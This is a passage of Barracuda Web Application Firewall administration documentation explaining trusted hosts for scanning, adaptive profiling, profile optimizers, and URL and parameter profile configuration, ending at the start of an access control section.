3. In the Service window, scroll down to the Basic Security section and do the following:
a. Set Trusted Hosts Action to Allow.
b. Select the trusted hosts group (i.e., Barracuda-Vulnerability-Manager) created in Step 1 - Create a Trusted Hosts Group with the
Barracuda Vulnerability Manager IP Addresses from the Trusted Hosts Group drop-down list.
c. Specify values for other parameters (if required).
d. Click Save.
The web application is now ready to be scanned.
If you want to scan the service by keeping the Barracuda Web Application Firewall security ON, perform the following steps:

2. In the Services section, identify the service you want to scan and click Edit next to it.
3. In the Service window, scroll down to the Basic Security section and do the following:
a. Set the Trusted Hosts Action to Default.
b. Specify values for other parameters (if required).
c. Click Save.

How to Configure Adaptive Profiling
Overview
Adaptive Profiling and Exception Profiling are the two significant modules incorporated to fine tune the security settings of a Service. Exception
profiling works with generated log files to refine security settings, customizing them to the web application. For more information on exception
profiling, see How to Configure Exception Profiling. Adaptive profiling analyzes the request and response traffic to generate customized security
profiles for the web application.
Adaptive Profiling learns the intricate structure of an application and enforces conformance to that structure. Detailed security profiles are created
by Learning from requests and responses served by a particular web application. Learning creates a positive security model by generating valid
URL and Parameter profiles.
The learned structure of the application is called a profile of the website. A Web Site Profile consists of individual URL and Parameter Profiles.
These profiles are initially generated using the settings in the default security policy, but over time the profiler refines them to accurately reflect
the safe incoming traffic for the web application.
How Adaptive Profiling Differs from Exception Profiling
In Exception Profiling, URL and Parameter profiles are created for a Service in Active Mode on the WEBSITES > Website Profiles page. This
means any created profiles would immediately be in Active Mode. So profiles in this case are created/updated periodically, every 600 seconds
(10 minutes), and then only when violations from unique sources are encountered the number of times indicated in Trigger Count on the WEBSI
TES > Exception Heuristics page. To learn more about how profiles are created in Exception Profiling, see Configuring Exception Profiling. In
Adaptive Profiling, the entire Service is in Learning Mode, so any URL and Parameter profiles created for the Service are in Learning Mode. In
learning mode, violations are logged on the BASIC > Web Firewall Logs page. Any changes in the request or response are learned and
respective URL and/or Parameter profiles are created/updated instantly.
Enabling Adaptive Profiling for a Service
By default, adaptive profiling is disabled.
Steps to enable adaptive profiling for a Service:
1. Go to the WEBSITES > Website Profiles page.

2. Select the Service you want to "learn" from the Website drop-down list.
3. Click Start Learning.
4. Navigate to the WEBSITES > Adaptive Profiling page and verify the Status is set to On for the relevant Service.
Editing Adaptive Profiling Settings
By default, each Service is configured for adaptive profiling with predefined settings. The predefined settings include Request Learning and Res
ponse Learning set to Successful and learning Status set to Off. To modify the predefined settings for adaptive profiling, do the following:
1. From the WEBSITES > Adaptive Profiling page identify the Service to requiring modification of adaptive profiling settings.
2. Click Edit next to that Service. The Edit Service Adaptive Profiling window appears.
3. Specify values for the required fields and modify the learning settings if required:
a. Status – By default, this is set to Off. To enable adaptive profiling for the Service, see Enabling Adaptive Profiling for a Service.
b. Request Learning – Specify when to learn the requests:
i. Successful – Learn from requests which result in a successful response (Usually 200 OK).
ii. Trusted – Learn only if the requests are from trusted client IP address(es).
iii. None – No requests are learned.
c. Response Learning– Specify when to learn the responses:
i. Successful – Learn elements only from successful responses (Usually 200 OK).
ii. Trusted – Learn the responses only if the request sent was from trusted client IP address(es).
iii. None – No elements in the response are learned.
d. Navigation Parameters – Enter the constant query parameters that are shared among multiple URLs. For example, consider
the Barracuda Web Application Firewall user interface URL: http://waf.barracuda.com/cgi-bin/index.cgi?primary_tab=basic
&secondary_tab=status . Here, the values of primary tab and secondary tab together determine which page displays. Different
value combinations of parameters display completely different pages. For more information on navigation parameters, see Worki
ng with Navigation Parameters .
e. Ignore Parameters – Enter the list of parameters that should be ignored while learning the corresponding URL profile. A "*" is
allowed as a prefix or suffix. For example, an Ignore Parameter "ctl*" would result in ctl1, ctl2, ctl3, etc. being ignored during
learning, so no parameter profiles for parameters ctl1, ctl2 and ctl3 would be created/updated.
f. Trusted Hosts Group – Select the trusted hosts group to which Request Learning and/or Response Learning are restricted.
To learn more about trusted hosts, see Configuring Trusted Hosts.
g. Content Types – Enter the type of content to be learned from the responses.
4. Click Save to save your adaptive profiling settings.

Adding an Adaptive Profiling Rule
The WEBSITES > Adaptive Profiling page enables you to add adaptive profiling rules for a URL space that needs to be learned. One or more
rules can be created for a URL space and host match.
To add an adaptive profiling rule
1. From the WEBSITES > Adaptive Profiling page identify the Service to which you want to add a rule.
2. Click Add next to that Service. The Add Adaptive Profiling Rule window appears. Specify values for the following fields:
a. Learn Rule Name – Enter a name to identify the adaptive profiling rule.
b. Status – Set to On to enable learning for this rule.
c. URL Match – Enter a URL to be matched against the URL in the request. The URL should start with a "/" and can have at most
one " * " anywhere in the URL. Examples: /Bank/Forms/*, /images/*.
d. Host Match – Enter the host to be matched against the host in the request. The host match can either be a domain name or IP
address. A value of '*' means it matches any domain. Examples: www.mysite.com, 192.168.128.2
e. Learn From Request – Set to Yes to learn the client requests and create/update URL and parameter profiles if the URL and/or
domain space defined above matches. The URL and Parameter profiles are created/updated for the corresponding service on
the WEBSITES > Website Profiles page. Learning from requests includes:
i. URL profile for the requested URL.
ii. Parameter profiles for the query parameters (if any).
iii. Parameter profile for the FORM parameters (if any).
f. Learn From Response – Set to Yes to learn the server responses and create/update URL and parameter profiles if the URL
and/or domain space defined above matches. The URL and Parameter profiles are created/updated for the corresponding
service on the WEBSITES > Website Profiles page. Learning from responses includes:
i. URL profiles for the links embedded in the response and corresponding query parameter profiles (if any) provided they
match the URL and Host matching expressions for any one of the Adaptive Profiling rules.
ii. URL profile for the URL which is found as an action URL or a URL with a query string in the response.
iii. Parameter profiles for the FORM parameters of those forms whose action URL matches the above expressions body.
3. Click Add to add the rule you just configured.
How Adaptive Profiling Rules are Matched
A Service can be configured with one or more rules with different URL spaces. When learning is enabled, the Barracuda Web Application Firewall
uses a Best Match Algorithm to match the most specific request URL rule. If no rules are configured for a Service, learning is enforced on all
URLs based on the default adaptive profiling settings of that Service. To see the default adaptive profiling settings, click Edit next to the Service.
See Editing Adaptive Profiling Settings.
Rules must be created before enabling Learning for a Service.
For example, consider the following two rules configured for a Service (Service_1):
Learn Rule Name – Rule 1
Status – On
URL Match – /Bank/Forms/*
Host Match – www.a_bank.com
Learn From Request – No
Learn From Response – Yes
Learn Rule Name – Rule 2
Status – On
URL Match – /*
Host Match – www.a_bank.com
Learn From Request – Yes
Learn From Response – Yes
For a request for www.a_bank.com /Bank/Forms/loan.html, Rule 1 is considered as the best match.
Working with Navigation parameters
To distinguish between two requests with the same URL but different query parameters, specify those parameters as Navigation Parameters. By
doing so, a page is uniquely defined using the combination of the request URL and the navigation parameter settings. To define navigation
parameters for a Service, edit the adaptive profiling settings. See Editing Adaptive Profiling Settings.
For example, consider the following Barracuda web user interface URL:
http://waf.barracuda.com/cgi-bin/index.cgi?primary_tab=basic&secondary_tab=status

Here, the values of query parameters primary_tab and secondary_tab together determine which page displays. Different value combinations of
navigation parameters display completely different pages, containing different FORM elements and content.
To protect this application, primary_tab and secondary_tab would be defined as Navigation Parameters forcing the profiler to generate separate
profiles for each possibility. For example, the above case would produce the following profiles:
/cgi-bin/index.cgi?primary_tab=basic&secondary_tab=ip_config
/cgi-bin/index.cgi?primary_tab=basic&secondary_tab=services
/cgi-bin/index.cgi?primary_tab=advanced&secondary_tab=troubleshooting
By default parameters are considered non-navigation parameters.

Profile Optimizers
In this Section:
URL Optimizers

URL Optimizers
Typically, web applications contain a large number of URLs in which, the parts of the URL are static/same. When Learning is enabled for a web
application on the Barracuda Web Application Firewall, URL profiles and parameter profiles are created based on the traffic processed by the
Barracuda Web Application Firewall according to a set of matching criteria specified on the WEBSITES > Adaptive Profiling page, in the Adapti
ve Profiling section. In this scenario, the Barracuda Web Application Firewall create a URL profile for each URL, which may result in populating a
large number of profiles with the same parameters.
For example: Consider www.foobar.com is a web application for which Learning was enabled and resulted in the following URL profiles:
www.foobar.com/abc/example1. html
...
...
...
Managing a huge number of profiles having the same security requirement can become unnecessarily complex to handle. You can handle such
issues by categorizing specific URL spaces and coalescing multiple URL profiles into one. The URL profiles mentioned in the example above can
be coalesced as:
Start Token: /abc/example

End Delimiter: period/dot (.)
Where:
Start Token is configured with the URL path substring that remains constant in all URLs mentioned in the example above.
End Delimiter is configured with the character whose occurrence after the Start Token denotes the end of the variable portion of the
URL.
This will coalesce all the URL profiles into one URL profile i.e. /abc/example*.html. Any request sent to /abc/example1.html to
/abc/example200.html will match the /abc/example*.html URL profile.
Using URL Optimizers
You can configure URL optimizers in any of the following two ways:
1. If you have prior knowledge of the directory structure of the web application, configure URL optimizers before enabling Learning for the
web application.
OR
2. Enable Learning for the web application and allow the Barracuda Web Application Firewall to create profiles for the web application. This
may result in creating multiple URL profiles with identifiable patterns. Note the created patterns, configure the URL optimizers and click M
erge to coalesce multiple URL profiles into one.
Steps to Add a URL Optimizer

2. In the URL Optimizers section, click Add next to the service for which you want to add URL optimizer. The Create URL Profile
Optimizer page appears.
3. In the Create URL Profile Optimizer page, specify values for Optimizer Name, Start Token and End Delimiter:
4. Click Save.

Web applications contain a large number of URLs that can include multiple parameters in which, parts of parameters are static/same. When Lear
ning is enabled for a web application on the Barracuda Web Application Firewall, URL profiles and parameter profiles are created based on the
traffic processed by the Barracuda Web Application Firewall according to a set of matching criteria specified on the WEBSITES > Adaptive
Profiling page, in the Adaptive Profiling section. In this scenario, the Barracuda Web Application Firewall creates a parameter profile for each
parameter on every occurrence, which may result in populating a large number of profiles with the same parameters.
For example: Consider 'Learning' was enabled for a particular service and the 'Learning Utility' creates the following parameters:
param1
param2
...
...
...
param100
Managing a huge number of profiles having the same security requirement can become unnecessarily complex to handle. You can handle such
issues by properly identifying the pattern within the parameters and coalescing multiple parameter profiles into one. The parameter profiles
mentioned in the example above can be coalesced as:
Start Token: param
Where:
Start Token is configured with the parameter substring that remains constant from the start of the parameter. Anything after the
configured Start Token value is considered as a variable.
This will coalesce all parameter profiles into one i.e. param*.
Using Parameter Optimizers
You can configure parameter optimizers in any of the following two ways:
1. If you have prior knowledge of the parameter structure, configure parameter optimizers before enabling Learning for the web application.
OR
2. Enable Learning for the web application and allow the Barracuda Web Application Firewall to create profiles for the web application. This
may result in creating multiple URL/parameter profiles with identifiable patterns. Note the created patterns, configure parameter
optimizers and click Merge to coalesce multiple parameter profiles into one.
Steps to Add a Parameter Optimizer

2. In the Parameter Optimizers section, click Add next to the service for which you want to add URL optimizer. The Create Parameter
Profile Optimizer page appears.
3. In the Create Parameter Profile Optimizer page, specify values for Optimizer Name, and Start Token:
4. Click Save.

Configuring Website Profiles
In this article:
Overview
Steps to Enable Learning
Modifying the default settings of a Service
URL Profiles
Steps to Manually Create a URL Profile
Parameter Profiles
Steps to Add a Parameter Profile
Understanding Request and Response Learning
Response Learning
Request Learning
Viewing Newly Generated Profiles
Enforcing Learned Profiles
Using Use Profile and Strict Profile Checks
Recommended Way to Use the Learning Feature
Overview
The learned structure of an application is called a profile of the website. Website profiles are made up of profiles for URLs and profiles for
parameters of those URLs. A URL profile lists allowed fields like HTTP methods, names and types of each parameter, query strings, length based
restrictions, etc. A Parameter profile defines the allowed format for each parameter using either a negative or positive security model and includes
length restrictions. Website profiles can be defined manually, or can be automatically generated using Adaptive Profiling or Exception Profiling.
Website Profiles allow you to create specific rules to fine tune the security settings of a Service. They do not modify the default security policy
settings, but fine tune security settings specific to a Service. For a Service, a Website Profile is applied if Use Profile is set to Yes, meaning the
request must be validated against configured URL and Parameter profiles of that Service. Initially no URL and Parameter Profiles exist for a
Service. To use Website Profiles, the administrator must manually create them for the Service, or create them automatically by enabling learning.
Steps to Enable Learning

2. In the Service section, select the Service you want to learn from the Website list.
3. Click Start Learning.
The "Learning" feature is available only in the Barracuda Web Application Firewall 660 and above.
When learning is enabled for a Service, the default settings for the Service to validate requests/responses include:
Use Profile – Yes

Strict Profile – Yes
Mode – Learning
Adaptive Profiling is enabled automatically for the Service by setting Status to On in the WEBSITES > Adaptive Profiling page. For
more information on adaptive profiling, see Configuring Adaptive Profiling.
Modifying the default settings of a Service
To modify the default settings of a Service, perform the following steps:
1. From the WEBSITES > Website Profiles page select the Service whose settings you want to modify from the Website list.
2. Click the Edit button. The Edit Website Profile window appears. Specify values for the following fields if required:
a. Mode – Set to Learning when the application is in learning mode. Change the mode if required.
i. Learning – Learns the requests and responses for the selected Service.
ii. Passive – Validates the requests against the URL Profiles and Parameter Profiles settings and logs request
errors/violations on the BASIC > Web Firewall Logs page.
iii. Active – Validates the requests against the URL Profiles and Parameter Profiles settings, blocks request violations and
logs the corresponding violations on the BASIC > Web Firewall Logs page.
b. Allowed Domains – Enter the domain or IP address of the Service whose requests/responses should be validated against the
URL and Parameter Profiles. If you wish to allow multiple sub domains under a main domain, then Allowed Domain should be
set as *maindomain. For example, "world.com" might have pages at "india.world.com," "america.world.com," and "japan.wo
rld.com." By default, if a web page on "india.world.com" is configured under Allowed Domains, only pages on "india.world.c
om" are allowed. If the user wants all subdomains in the "world.com" domain to be allowed, then specify "*world.com".
c. Exclude URL Patterns – Enter the list of URL patterns to be excluded from the URL Profile validations. These URLs are
exempted from learning even if the Learning is On. Examples: *.html,*.htm,*.jpg, *.gif,*.css,*.js
d.

d. Include URL Patterns – Enter the list of URL patterns to be included in the URL profile validations even when listed in Exclude
URL Patterns.
3. Click Save to save the settings.
URL Profiles
URL profiles can be created manually by the administrator, or automatically generated by enabling Learning for a Service. URL Profiles are
validated against the requests for the Service based on the Mode setting of the URL profile. To enable learning, see Steps to Enable Learning.
Steps to Manually Create a URL Profile
To manually create a URL profile, follow the steps below:

2. Select the desired Service from the Website drop-down list.
3. In the URL Profiles section, click Add URL. The Create URL Profile window appears. Specify values for the following fields:
a. URL Profile Name – Enter a name for the URL profile.
b. Status – Set to On if you want to enforce checks on requests/responses for the Service using this profile.
c. URL – Enter a URL to be compared to the URL in the request. The URL should start with a "/" and can have at most one " * "
anywhere in the URL. The value of “/*” means all URLs in the Service are matched against the URL in the request.
d. Extended Match – Specify an expression, a combination of HTTP headers and/or query string parameters, you want used to
match the special attributes in the HTTP headers or query string parameters in the requests. Use '*' to denote "any request", that
is, do not apply the Extended Match condition. For information on how to write extended match expression, see Extended Match
Syntax Help.
To build an expression, click Edit and specify values for the following fields:
i. Header Expression – Expression gets populated when the values for other fields are specified and inserted.
ii. Element Type – Select the element type to compare in the request.
iii. Operation – Select the operator for comparison of the element type in the request.
iv. Value – Enter the value of the Element to be compared. Some Element Types have predefined values eg, Method,
HTTP-Version, etc. In case the value is not listed in the predefined list, select the Others check box and specify the
value.
v. Concatenate – Use this if you wish to join another expression. and matches if both the expressions are true; or matche
s if either expression is true.
vi. Click Insert and then Apply to apply the expression. Click Cancel if you wish to cancel the expression.
e. Extended Match Sequence – Enter a number to indicate the order in which the extended match rule will be evaluated in for
requests.
f. Mode – Set the mode for this URL profile.
i. Learning – Starts learning the URL profile and corresponding Parameter profile(s) if the Service is in Learning mode.
ii. Passive – Validates the requests comparing them to the URL profile and corresponding Parameter profile(s) settings
and logging request errors/violations on the BASIC > Web Firewall Logs page.
iii. Active – Validates the requests comparing them to the URL profile and corresponding Parameter profile(s) settings,
blocking request violations and logging the corresponding violation on the BASIC > Web Firewall Logs page.
g. Allow Query String – Set to Yes to allow parameters and its values along with the URL.
h. Hidden Parameter Protection – Specify whether or not to protect hidden parameters in the forms and URLs.
i. Forms – Protects the hidden parameters in the post body of forms.
ii. Forms and URLs – Protects the hidden parameters in the post body of forms and query string of the URLs.
iii. None – No protection to hidden parameters in forms and URLs.
i. CSRF Prevention – Specify whether or not to prevent cross-site request forgery attack on the forms and URLs.
j. Max Content Length – Enter the maximum content length to be allowed for POST request body.
k. Max Parameter Name Length – Enter the maximum length of the parameter name. The allowed length is 1 to 1024 bytes. No
value (empty) implies unlimited.
l. Max Upload Files – Enter the maximum number of files that can be uploaded in one request. If the value is set to two (2), then
the third (3) file upload is denied. The Passive mode logs every uploaded file that exceeds the max count.
m. Blocked Attack Types – Select the attack types that needs to be matched in the requests/responses. Attack Types are

m.
specifications of malicious patterns. If the value of a parameter matches one of the specified Attack Types, an intrusion is
detected and logged on the BASIC > Web Firewall Logs page.
Attack Types are defined with groups of Regular expression patterns. Attack Types for SQL Injection, Cross Site scripting and
System Command Injection attacks are provided by default, and one or more of these can be enabled for matching against
request parameters.
n. Custom Blocked Attack Types – Select the custom attack types that needs to be matched in the requests/responses.
4. Click Add.
5. Click Edit next to the created URL profile to specify values for the following fields:
a. Allowed Methods – Enter the methods to be allowed in the request. The Barracuda Web Application Firewall uses this to
decide whether to allow or disallow the methods.
b. Allowed Content Types – Enter the content types to be allowed for this URL profile.
c. Referrers for the URL Profile – Enter the address (URI) of the resource from which the Request URI was obtained. In case of
adaptive profiling, the referrers are learned as the profile sources. This referrer is not same as the “Referrer” in CSRF protection.
Note: This is used only for information purpose, and no security checks are enforced by the Barracuda Web Application Firewall.
d. Exception Patterns – Enter the patterns to be allowed as exceptions even if part of a malicious pattern group. The configuration
should be the exact "Pattern Name" as found on the ADVANCED > View Internal Patterns page, or as defined during the
creation of a "New Group" through the ADVANCED > Libraries page. The pattern name can also be found in a Web firewall log
when a false positive occurs due to a potential exception pattern. For example, if the parameter value matched "sql-comments"
regex pattern under "sql-injection medium" attacks on the ADVANCED > View Internal Patterns page, then adding
"sql-comments" to this list will allow "sql-comments" in future.
6. Click Save to save the above settings.
If the Mode is set to Active for a Service and Passive for a URL profile, then the URL profile settings override the Service settings (i.e.,
the Barracuda Web Application Firewall validates the requests using the URL profile and corresponding Parameter profile(s) and logs
request errors/violations on the BASIC > Web Firewall Logs page).
Parameter Profiles
Parameter profiles can also be created manually or automatically. Parameter profiles are compared to the requests for the Service based on the
Mode setting of the corresponding URL profile.
Steps to Add a Parameter Profile
Perform the following steps to create a parameter profile:
1. Go to WEBSITES > Website Profiles page.

2. Select the desired Service from the Website drop-down list.
3. In the URL Profiles section, select the desired URL profile where you want to add the Parameter profile.
4. In the Parameter Profiles section, click Add Param. The Create Parameter Profile window appears. Specify values for the following
fields:
a. Parameter Profile Name – Enter a name for the parameter.
b. Status – Set to On to validate the requests coming to the Service using this Parameter Profile.
c. Parameter – Enter the name of the parameter to be validated in requests/responses. The parameter names with the special
characters like &pathinfo and &sessionid and wildcard (*) should be manually specified, they are not learned automatically.
d. Type – Select the type of parameter to be validated in requests/responses. Note: If two or more parameters of different type
have the same name, then parameters would be considered as Input type and be bound to one of standard parameter classes
and the value of the parameter Max Instances would be updated. The types of parameters
i. Input – The parameter other than File Upload, Global Choice, Read Only, Session Choice, and Session Invariant type is
treated as Input type.
ii. Read Only – All hidden parameters in the form and query parameters in the URL is learned as Read Only type. If an
exception occurs while learning, then the type is updated to Input. This type makes the parameter session specific.
iii. Session Choice – The parameter from a response form and the drop-down list is different across different sessions or
same session, then it is treated as Session Choice.
iv. Global Choice – The input type parameters like check boxes, radio buttons and menu parameters in a form is treated as
Global Choice type.
v. Session Invariant – Select this if the parameter value is same across multiple requests from the same session, then it
can be set as Session Invariant, for example; session-id. This type of parameter is not learned automatically.
vi. File Upload – The parameter of the type file upload in forms is treated as File Upload type.
e. Values – Define a fixed set of strings to match against the parameter's value, if the parameter Type is to Global Choice.
f. Parameter Class – Select a parameter class to be compared to the parameters sent in the requests/responses.
g. Custom Parameter Class – Select the custom parameter class to be compared to the parameters sent in the
requests/responses. This is applicable only when Parameter Class is set to CUSTOM.
h. Max Value Length– Set the maximum allowable length for the value of the parameter. Example: The parameter "param" set to
0, which means:
p1=v1&param=&p2=v2 : allowed

h.
p1=v1&param=v&p2=v2 : not allowed

i. Required – Set to Yes if the parameter must always be present in the request.
j. Ignore – Set to Yes if the parameter must be ignored completely, that is, never validate the value of the parameter at all.
k. Maximum Instances – Specify the maximum number of times the parameter should be allowed in the request/response.
l. Base64 Decode Parameter Value - Set to Yes to apply base64 decoding to the parameter values. If the parameter value
adheres to the Data URI Scheme, the base64 decoding is applied on the parameter value irrespective of Base64 Decode
Parameter Value is set to Yes or No. If not, the base64 decoding is applied to the parameter value only when Base64 Decode
Parameter Value is set to Yes. Once the decoding is successful, other parameter checks are enforced as per the policy
settings.
The parameter value length check is always applied on the encoded/original value.
m. Allowed File Upload Type – Select Extensions to allow the files uploaded with extensions specified in File Upload
Extensions.
Select Mime Types to identify the content in the files before allowing to be uploaded with the mime types specified in File
Upload Mime Types.
n. File Upload Extensions – Define the extensions to be allowed in file upload. ‘.' is a special extension which indicates no
extension, and * is a wildcard which indicates any extension is allowed.
o. File Upload Mime Types – Define the Mime types that are to be allowed as uploaded files. Use a "." to indicate a file with
unknown mime type, and use a * to indicate any kind of mime type.
5. Click Add to save the above settings.
Understanding Request and Response Learning
The table below provides the list of elements that are learned through request and response learning:
Profiler Type Elements Learned During the Learning Phase
URL Profile Allowed Query string, Allowed Methods, Allowed Content Types, Max
Content Length, Max Parameters, Max Upload Files, Max Parameter
Name Length, Referrers.
Parameter Profile Type, Allowed Meta-characters, Max Parameter Value Length,

Required, Ignore, Max Instances, File Upload Extensions, Max
Upload File Size.
The initial values of these elements are taken from the applicable security policies displayed under Policy Overview on the SECURITY
POLICIES > Policy Manager page.
For example, when a new URL profile is generated the parameter Max Content Length is set to 32k if the service uses default security policy. If
the profiler receives a successful request with content length 35k, the new value of Max Content Length is set to 35k for the request URL.
Other security policy elements for the Service specified for the website (e.g. Advanced Security elements, Allow/Deny rules, etc.) and those
inherited from the associated Security Policy (e.g. Cookie Security, Normalization, etc.) continue to apply during the learning phase. This
maintains protection from application attacks even during the profile development phase. Whether attacks are blocked or just logged during this
phase depends on the Service’s Mode setting.
The following URL and Parameter profile configuration elements are not learned. They continue to be applied even during the learning phase:
Profile Type Elements Not Learned During the Learning Phase
URL Profile Blocked Attack Types, Custom Blocked Attack Types
Parameter Profile Blocked Attack Types, Custom Blocked Attack Types
The following table describes different Types for a parameter profile. Read Only, File Upload, Global Choice, and Input parameter types are
automatically learned by the profiler. Session Choice and Session Invariant need to be manually specified.
Parameter Type FORM Attribute Used for Description Allowed Values

Read Only type=hidden All hidden FORM parameters are When profile mode is Active:
learned as Read Only. Known by Allowed value for the parameter
the <type=hidden> attribute in in a request is exactly equal to
the HTML response content, the that learned from the response.
value of the parameter is learned
on a per session basis. When profile mode is Learning: If
the value varies in requests
during the learning stage, the
type updates to Input.
File Upload type=file The parameter of type file upload

in FORM is treated as File
Upload type.
Global Choice type=checkbox|radio|submit The input type parameters like The system constructs an
check boxes, radio buttons and aggregated list of values learned
menu parameters in a FORM are by observing the values in
treated as Global Choice type. responses across sessions.
Session Choice NA Has to be specified manually. The system constructs an

Similar to Global Choice, but allowed list of values learned by
values are learned on a per observing the values on a per
session basis. session basis.
Session Invariant NA Has to be specified manually. If The unique value learned for a
the parameter value should be parameter per session.
constant across multiple
requests from the same session,
then it can be set as Session
Invariant type, for example:
session-id.
Input Any parameter not of the above All values allowed by the regex
types is treated as Input type. for Comments Data Type
element on ADVANCED > View
Internal Patterns.
Response Learning
If Response Learning is On for a URL space, the system inspects HTTP responses in that space and learns the following from it:
FORM parameters – Parameter profiles are created based on their FORM attribute type as described in the table above. The system will also
learn the maximum length for the parameter if specified (using the “maxlen” attribute in the HTML). Note that these parameter profiles are created
for the action URL specified in the FORM, and not for the request URL which generated this response.
Embedded URLs – The profiler parses all the hyperlinks in the response body and generates URL Profiles for them. Note that this is only done
for those hyperlinks which match one of the URL profile learn rules specified on WEBSITES > Adaptive Profiling. To add an adaptive profiling
rule, refer Adding an Adaptive Profiling Rule.
Embedded URL query parameters – For the embedded URLs found above in the response content, the profiler also generates parameter
profiles for the query parameters, if any. By default, these parameters are learned as Read Only parameters. If they differ in a subsequent
request while the URL space is still being learned, their type changes to Input.
Request Learning
When the profiler sees an incoming GET request, it generates profiles for the URL and its query parameters (assuming they do not match any of
the navigation parameters for the relevant URL space).
For a POST request, the profiler may have already learned the FORM and query parameters from a prior response. For example, client side
scripting may introduce additional parameters in the POST request for url1 which were not present in the url2 response. These are learned as
Input type parameters. If the client side scripting modifies a parameter learned as Read Only from an earlier response, the profiler will update the
parameter type to Input when Request Learning is On for this URL and the profile is learning. When Request Learning is Off, and the profile is
learning, the request is allowed, but the parameter type is not changed. When the profile is Active (learning is turned Off), the request is blocked.
Example:
The following example shows a request response scenario with the corresponding profiles generated by the profiler at each step.
1. Initial request for a.cgi containing two query parameters

Request: a.cgi?q1=abc&q2=def
URL Profile Parameter Profile
a.cgi Query Params {q1, q2}
2. Response for a.cgi containing an embedded FORM with action URL= b.cgi
Request: a.cgi?q1=abc&q2=defsdfsdf
<FORM action="b.cgi?q3=userinfo" method="post">
<INPUT type="text" id="firstname"><BR>
<INPUT type="text" id="lastname"><BR>
<INPUT type="checkbox" id="married" value=""> Married<BR>
<INPUT type="submit" value="Send"> <INPUT type="reset">
</FORM>
When the user fills in values for the fields and clicks submit, the values are sent to the URL defined in the action field. In this example, the URL is
b.cgi?q3=userinfo
a.cgi Query Params: {q1, q2}
b.cgi Form Params: {firstname, lastname, married}
Query Params: {q3}
3. User submits the FORM; Client-side injects additional parameters
Request: b.cgi?q3=userinfo
Client side javascript: If Married, inject FORM param: spousename
a.cgi Query Params: {q1, q2}
b.cgi Form Params: {firstname, lastname, married, spousename}
Query Params: {q3}
Viewing Newly Generated Profiles
The newly generated profiles from the Adaptive Profiler module are displayed in red color on the WEBSITES > Website Profiles page. To view,
select the Website and Directory. The URL/Parameter profiles are displayed in red as shown in the figure below.
One measure of the maturity of a security profile is the number of hits, or matching requests, which it has encountered. If Hits is small, the profile
will reflect only that small number of requests or responses it has encountered and not reflect the spectrum of potential requests and responses.
Filter the list of profiles by selecting Profiles not reviewed or URLs with Params not reviewed. Keep track of viewed profiles with the Mark Read
option from More Actions. The profile will be listed in black font next time it is viewed. This way the administrator can track which learned profiles
still need review.
Enforcing Learned Profiles
Once satisfied with generated profiles, select them, and Lock Profiles using More Actions to begin their enforcement. The system now considers
violations to these profiles as attacks, no longer learning from them. The Mode setting for these URLs determines how attacks are handled.
To assist in this transition, the system displays as Hits on WEBSITES > Website Profiles the number of successful requests matching
generated URL profiles after the last update. The number of hits to a profile is a good indicator of the profile maturity. The higher the number of
hits, the more mature the profile is.

When the Website Profile Mode is Learning and the URL Profiles are Locked, the Barracuda Web Application Firewall stops learning
the selected URL Profiles. The Website Profile Mode switches to Active and URL Profile Status is On. Changing the Status of the
URL Profiles to Off results in the Barracuda Web Application Firewall completely ignoring them. In this case, if a new request matching
the turned Off URL Profiles comes in, it would need to be learned again.
Using Use Profile and Strict Profile Checks
When configuring a website profile, set Use Profile to Yes to validate the incoming requests to that service against the URL Profiles and Param
eter Profiles. To enforce strict profile validation, set Strict Profile Check to Yes. Strict Profile Check cannot be modified when Adaptive
Profiling is On.The following table describes how a website profile functions with Use Profile and Strict Profile Check:.
Use Profile Strict Profile Check Behavior
Yes Yes Uses URL Profiles and Parameter

Profiles for validating the incoming
requests to that service.
Performs strict profile check and denies
the requests that do not match the URL
Profiles and Parameter Profiles.
Yes No Uses URL Profiles and Parameter

Profiles for validating the incoming
requests to that service.
If the requests do not match the URL
Profiles and Parameter Profiles, then
the requests are validated against the
global security policy (URL Protection
and Parameter Protection).
No Yes, No The incoming requests to that service are

validated against the global security policy
(URL Protection and Parameter Protection).
Using the Use Profile and Strict Profile Check you can enforce the positive or negative security model. For the administrators who would want
to enforce a "deny unless allow" strict rules, set Use Profile to Yes and Strict Profile Check to Yes. This setting ensures the requests with no
matching profiles are dropped and thus enforcing a positive security model.
For the administrators who prefer a negative security model, set Use Profile to Yes and Strict Profile Check to No. This setting ensures the
requests that do not match any profile use service's global security policy. If any exceptions, they can be handled by adding relevant profiles.
The global security policy is the Web Firewall Policy associated with the service on the BASIC > Services page.
Recommended Way to Use the Learning Feature
From the WEBSITES > Website Profiles page, select the Website and then click Start Learning.
Either manually browse through the application (recommended) or crawl the application.
Let Adaptive Profiling populate the URL and Parameter profiles automatically.
View the created profiles to review them. If satisfactory, click Stop Learning to stop the profiling for the Service. Select a subset of the
profiles and enforce them by selecting Lock Profiles when desired.
The profile mode is initially in Passive mode. Look for any false positives using BASIC > Web Firewall Logs. Examine the Hits statistic
on WEBSITES > Website Profiles, under URL Profiles. If satisfactory, select Lock all Profiles from the More Actions drop-down list to
turn all profiles to Active.
Enabling Exception Profiling would fill in missing URL spaces not sufficiently profiled during Adaptive Profiling.
If possible, manually combine the learned profiles to optimize the configuration.
If the back-end application, or a portion of it has changed, revise the profiles accordingly using Resume Learning from More Actions for
the URL.

Access Control
Authentication Options
Configure Access Control and Authentication for the Barracuda Web Application Firewall using the following instructions:
How to Configure Authentication and Access Control (AAA)

How to Configure Dual Authentication for LDAP/RADIUS/RSA SecurID Authentication Service
How to Configure Multi-domain LDAP Authentication
Kerberos Authentication
How to Configure Multi-domain Kerberos Authentication
How to Set Up a Custom Login Page for Authentication
Deploying the Custom Login Page on the Barracuda Web Application Firewall
How to Configure Single Sign-On (SSO)
How to Configure SiteMinder Single Sign-On (SSO)
How to Integrate RSA SecurID with the Barracuda Web Application Firewall
How to Integrate CA SiteMinder with the Barracuda Web Application Firewall
How to Use Client Certificates
Allowing or Denying Client Certificates
Client Certificate Validation Using OCSP and CRLs
How to Pass Client Certificate Details to a Back-end Server
RSA SecurID Implementation
How to Configure SMS Passcode Authentication Service
How to Set Up a Custom Challenge Page for Authentication
SAML Authentication
Configuring SAML on the Barracuda Web Application Firewall
Advanced Configuration for SAML Authentication
Configuring Identity Provider (IdP) for SAML Authentication
Configuring Single Sign-On using SAML Authentication
Pre-Authentication for ActiveSync

How to Configure Authentication and Access Control (AAA)
Overview
The Barracuda Web Application Firewall provides features to implement user authentication and access control. You can create a virtual private
network (VPN) tunnel to control user access to websites. The user-access features allow you to specify who can access your websites and what
access privileges each user has. By combining these with SSL encryption, you can create a secure VPN tunnel to your websites.
